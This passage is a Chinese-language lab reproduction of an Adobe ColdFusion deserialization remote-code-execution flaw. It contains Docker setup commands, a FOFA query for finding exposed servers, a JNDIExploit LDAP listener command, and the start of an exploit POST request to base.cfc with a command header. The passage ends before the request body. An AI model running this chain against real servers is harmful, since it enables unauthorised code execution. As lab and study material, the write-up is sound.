漏洞名称

Adobe ColdFusion 反序列化漏洞

漏洞影响

Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）

漏洞描述

AdobeQ ColdFusion是一种服务器端的Web,应用开发平台。它由Adobe Systems开发，用于创建动态的、交互式的Web应用程序和网站。Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）受到反序列化未受信任数据漏洞的影响，可能导致任意代码执行。利用此问题不需要用户交互。

靶场搭建

方便期间使用docker搭建靶场

拉取镜像

docker pull vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

启动容器

docker run -d -P vulfocus/vcpe-1.0-a-adobe-coldfusion:2023.0.0.330468-openjdk-release

查看容器

docker ps

访问页面：http://192.168.40.130:32773/

靶场搭建完毕

FOFA搜索语句

app="Adobe-ColdFusion"


漏洞复现

先在windows上启动一下JNDIExploit-1.4-SNAPSHOT.jar，工具包在文末获取，命令中的192.168.40.1是我本机IP

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.40.1

然后向靶场发送如下数据包，执行ls命令，其中ldap://192.168.40.1:1389/Basic/TomcatEcho中的ip端口是我们启动监听的IP和端口/Basic/TomcatEcho表示TomcatEcho回显链

POST /CFIDE/adminapi/base.cfc?method= HTTP/1.1
Host: 192.168.40.130:32773
Content-Type: application/x-www-form-urlencoded
Content-Length: 289
cmd: ls
